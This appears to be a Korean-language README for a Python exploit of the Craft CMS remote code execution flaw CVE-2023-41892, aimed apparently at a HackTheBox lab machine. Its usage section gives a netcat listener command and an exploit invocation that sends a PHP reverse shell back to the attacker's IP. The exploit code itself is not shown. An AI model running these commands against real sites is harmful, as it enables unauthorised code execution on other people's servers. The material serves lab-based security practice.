Craft-CMS-Exploit

This Python 스크립트는 인기 있는 콘텐츠 관리 시스템인 Craft CMS의 원격 코드 실행 취약점(CVE-2023-41892)을 악용합니다. 이 취약점은 4.0.0-RC1부터 4.4.14 사이의 버전에 영향을 미치며, 공격자가 PHP 리버스 셸과 같은 임의의 코드를 원격으로 실행할 수 있게 합니다.

사용법

먼저 다른 셸에서 netcat 리스너를 시작하세요:

nc -nlvp 1234

그런 다음 IP 주소를 확인하고 익스플로잇을 실행하세요:

python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb

새로운 리버스 셸로 즐겁게 해킹하세요!

면책 조항

이 코드는 윤리적 해킹 목적으로만 작성되었으며 악의적인 활동에 사용해서는 안 됩니다!

참고 자료

이 Gist에서 찾을 수 있는 원본 코드를 제공해 주신 to016 님께 감사드립니다.